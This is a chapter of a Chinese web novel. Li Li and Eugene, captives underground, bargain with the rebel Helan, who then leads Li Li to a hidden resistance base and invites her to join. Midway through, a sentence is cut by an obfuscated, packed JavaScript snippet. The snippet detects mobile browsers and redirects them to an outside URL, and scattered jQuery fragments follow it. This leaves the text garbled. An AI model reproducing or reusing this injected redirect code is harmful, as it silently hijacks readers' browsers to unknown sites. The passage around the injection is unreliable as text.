氛围似乎很紧张,赫尔蓝话音落下,对峙的双方陷入一片死寂,只余地下暗河的潺潺水声在岩壁间回荡。
李厘鼻尖一痒,忍不住打了个喷嚏,几滴水珠从她濡湿的发尾簌簌震落。
落水前尚不觉得,此刻湿衣紧贴皮肤,寒气自四面八方侵袭而来,寒气沁肤,只感受到一股阴冷丝丝缕缕钻入骨缝。她下意识搓了搓手臂,触到一片冰凉。
尤金察觉到她的动作,摊开掌心接替她在潮湿的手臂上来回搓动,试图传递些许暖意。他抬眼望向凯夫,下巴微抬:“兄弟,行个方便。”
凯夫沉默片刻,并未立即回应。他解下自己的长袍,却没有抛给尤金,而是径直递向李厘。
尤金手臂一伸,半路截住长袍,利落地抖开披覆,随即一把将李厘拢入怀中,展开前襟紧紧裹在胸前。李厘被他突然拉扯,脚下踉跄,两人一同跌坐在粗糙不平的石面上。
赫尔蓝翻了个极其生动的白眼,唇间溢出一声轻嗤,抬手便要解下自己的长袍。
尤金抬了抬手,示意不必。将李厘更用力的裹紧,用体温为彼此驱散寒意。
他下颌线条收紧,脑中飞快权衡,心中已然有了主意。
尤金笑着直接对凯夫开口:“我需要一个窄频定向突发传输设备,你有货吗?”
凯夫仍旧沉默不语,只是将目光转向赫尔蓝,意思再明白不过。
李厘仰起头看了一眼尤金,只看到他线条流畅分明的下颌,唇色尚且青白,喉结在轻轻滚动。
尤金察觉到她的视线,低下头,向她眨了眨眼,示意由他来交涉,然后趁其不备,一个微凉的吻落到她的面颊。
赫尔蓝见这个飞地人毫不避讳,当着众人的面故意展示亲密,啧了一声。
姿态优美地走到李厘面前,强硬地将她从尤金的怀中挖出来,抖开自己的长袍给李厘披上,手臂绕过她的肩头,仔细地系好衣带。
长袍还残留着她的体温,裹挟着一缕若有若无的馨香,瞬间将李厘包围。
赫尔蓝则对着尤金鼻孔出气,冷哼一声,满是不屑。
李厘:“……”
怎么回事这两个人,好像在为什么事暗中较劲。
尤金摊开双手,抖了抖湿透了的前襟。
随后慢条斯理的整理衣服,这才直面赫尔蓝回答她的问题:“既然你知道我的身份,我无意隐瞒。这位大姐头……如今是灯火主?她与我在一起,正如她所言,是因为我承诺返回飞地会为她办一件事。”
他的声音冷静而富有条理:“而你们,不论你们有何目的,想要什么,待我回到飞地,一样能为你们办到。现在,关于我需要的设备——直接开个价。”
尤金选择摊牌,这一步其实很冒险,他心知肚明。但他飞地人的身份在这些人面前已成为明牌,不具备优势,不如另辟蹊径,将劣势转为筹码,使自己从“囚徒”升格为“谈判者”。
他向来乐于冒险,擅长将自身从一个“待解决的麻烦”,转化为一个“值得一试的机会”。将问题抛回给对方,让“审讯者”变为“思考者”,方能窥见对方真正的欲望,从而操纵全局
他尚且不清楚流萤集的灯火主会为何突然介入。虽然同为囚徒,他的处境却似乎比李厘险恶得多。直到李厘开口,他才将眼前这些人与所知中的“流萤集”、“灯火主”一一对应。
他们对他,显然存有不小的恶意,从二话不说先给他上了一顿水刑就可见一斑。
他需要知道,这份恶意究竟有多深,接下来又将面临什么。
果然,尤金话音刚落,赫尔蓝身后一个略矮的身影发出一阵古怪的低笑。
“我早说过,”那人对赫尔蓝道,带着几分得意,“像他们这种飞地人向来高高在上,认为万物皆可标价,金钱万能,听听他的话吧!开口便是交易!”
顿了顿,那苍老的声音陡然转厉,狰言道,“我仍坚持原议,此人不可信,不必听他巧言令色,花言巧语,直接处刑了事。海因莱因家族的人,本就恶贯满盈。”
那声音凛冽,浸透着对飞地人刻骨的仇恨。
尤金冷冷瞥了那个矮人影一眼,对局面已有了判断。
“那恐怕不行。”李厘插话道,面容平静,目光冷酷地直射那个矮人影,“不行的理由我已说过一次,不想再重复第二次。请你放尊重些,认真听人说话。”
好凶啊。尤金垂下眼,嘴角忍不住勾起一抹笑。
那矮人影一哽,似乎未料李厘竟如此执意回护尤金。在他眼中看来,这女人简直昏了头,连自己的立场都分不清。
“蠢货!”矮人影厉声骂道,“知道海因莱因家族做过多少的恶事吗,知道他们为了维护权位,是如何践踏我们这些‘下层奴隶’的吗?”
“我知道。”李厘简短回答,垂下眼睛,没有再开口的意思。
尤金不着痕迹瞥了她一眼。
矮影再次被噎住,啐道:“看来她果真是个被贵族皮囊迷惑的蠢物,下层的叛徒!竟相信飞地人虚无缥缈的承诺!脑筋不清醒的臭丫头,难道以为飞地的贵族会对下层的奴隶动真情?他不过是在玩弄你!我们真要吸纳这等轻易被男人欺骗的货色吗?”
尤金声挟冷怒道:“贱民!注意你的言辞!”
人影不怒反笑,大笑着讥讽道:“看吧!在他们飞地人的眼里,我们这些下层奴隶,有一个算一个,不过都是贱民!”
李厘的唇抿成一条平直的线。心中疑惑,他们要吸纳她?为什么?
尤金睇了她一眼,在长袍的遮掩下,想从身后悄悄拉住她的手。
李厘向赫尔蓝迈近一步,直视她的眼睛,证实道:“他说的都是真的。”
她避开了他的触碰。赫尔蓝离得近,将他们细微的互动尽收眼底。
赫尔蓝轻笑,向李厘发出邀请:“想不想和我单独谈一谈?”
矮影子发出一声不满的冷哼。
李厘点头:“那便巧了,正合我意。”
赫尔蓝沉吟片刻:“唔……那么,我想先带你去一个地方,你敢不敢去?”
“我可以随你去。”李厘应道,随即提出条件,向尤金的方向歪了歪下巴示意,“但你要保证他的安全。”
李厘随赫尔蓝离开之前,与尤金擦身而过。尤金猛地攥住她的手腕。
他寻找她黑白分明的眼睛,声音放得极轻:“早点回来?”
李厘避开了他的视线,不与他对视。
尤金放软语调,近乎耳语:“我让你自己去,在这里等你回来,好不好?”
他知道偶尔装乖似乎能获得李厘的好感,伸出手将她颊边一缕湿漉漉黑发掖到耳后。
尤金解释道:“我没有别的意思。方才那人一直侮辱你,我才反唇相讥,并非针对其他任何人。别生我的气,好不好?”
李厘心生怪异,转动手腕,挣开了他的手。
她不需要他多余的解释,只淡淡道:“不重要。”
她转向奉命看守尤金的凯夫和另一位面目模糊的长袍人,微微颔首:“辛苦你们。”
赫尔蓝在前方等待,百无聊赖地用指甲轻敲着凹凸不平的岩壁,发出规律的嗒嗒声。
李厘快步跟了上去,自始至终,未再回头看尤金一眼。
尤金凝视她离开的背影,心绪翻涌,暗自揣度这些人究竟意欲何为。
**
赫尔蓝递给李厘一盏照明灯,外型是手提矿灯的模样,暖黄的光线在二人手中交融,驱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654984|183540||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
散前方沉沉的黑暗。
她们沿着一道似乎是天然形成又经人工开凿的岩道下行。赫尔蓝在前引路,默然无声。四周唯有她们不快不慢的足音在狭窄通道内回响。
时而需侧身挤过仅容一人通行的石缝,时而需沿着锈蚀不堪的旧世界管道支架向下攀爬。
一片死寂中,两团移动的光点成为这庞大地下世界里视觉上唯一的光明参照。
赫尔蓝率先开口:“我给你留的东西,你为什么没拿?”
李厘脚步微顿:“什么东西?”
赫尔蓝也顿步,回头看向她:“在矿洞里,你挖掘机器人的时候。”
李厘立刻回忆起当时那若有若无的被窥视感。
原来不是她的错觉。
那半块高效能量块与可饮用水——她曾误以为那是矿工们新设立的临时储藏点,竟是赫尔蓝所留?
李厘彻底停下脚步,迟疑道:“那时候……原来是你?”
赫尔蓝大方承认道:“是我哦。”
李厘疑惑道:“从那时候开始你就盯上我?为什么?”
赫尔蓝道:“我早就听说你,但是一直没见过你。”顿了顿,吐出两个字:“老鬼。”
李厘微微皱了皱眉。
赫尔蓝飞快地解释道:“别误会,老鬼没有四处宣扬。是和我交易时露了马脚,被我套出了话。”随即自夸道,“不是我吹嘘,关于套话我很有一手。你若感兴趣,以后可以教你。”
李厘心中太多疑问,实在不能理解,再问一遍:“为什么?”
赫尔蓝斟酌道:“唔……我们想渗透矿坑镇,已经很久了……”
李厘彻底停下脚步,抓住了重点:“你们?”渗透?
赫尔蓝却又却话锋一转,说起别的事情,示意李厘跟上,仿佛闲聊:“锈带聚居区的暴动听说了吗?”
李厘点点头,但是意识到赫尔蓝走在前面看不见她的动作,便又在鼻间轻嗯一声。
赫尔蓝语气轻巧道,如同谈论天气:“我们干的。”
李厘再次停下脚步。所以,“我们”到底是谁?
她心中越是惊涛骇浪,面上越是波澜不惊。
赫尔蓝也停下脚步,回身提起矿灯,照亮李厘隐在暗影中有些混沌的神情,仔细观察她的反应,不放过任何一点细微的变化。
赫尔蓝确定,她喜欢她这幅样子。
对其他人而言是不讨喜欢,过于匮乏的情绪反应,对赫尔蓝而言,却是值得欣赏的冷静特质。
面前的人是一块宝藏。
此刻李厘的心中定然充满疑惑,为什么突然抓住她,为什么处心积虑的想要接近她。但无论内心如何翻涌,她的表情始终镇定如常。
赫尔蓝暗自点头,拍了拍她的肩膀:“不要着急,前面就有你想要的答案。过了这里,我们就快到了。”
并未再行进多久,二人最后穿过一处巨大如峡谷的地下裂隙。远远地,李厘耳畔传来类似瀑布冲刷的激荡回响,越来越清晰。
转过一处遮挡视线的崎岖岩壁,眼前豁然开朗。前路尽头,钟乳石与石笋成片相连,形成一道巨型的天然石幔。地下暗河的黑水从石幔顶端倾泻而下,构成一道磅礴壮观的水帘,轰鸣声震耳欲聋。
“欢迎来到回声图书馆。”
赫尔蓝在地下瀑布的水帘前停下脚步,高举起照明灯。两人的影子被骤然拉长,投射在身后湿滑的石壁上,随着光线摇曳不定。
四周水汽弥漫,氤氲如雾。赫尔蓝在水雾中转过身,面对李厘,张开双臂。
“这里是我们的本部,名为‘根须’的冻土反抗军基地。”她的声音穿透水声,清晰传来,“以我个人的名义,我非常期待,正式邀请你加入。”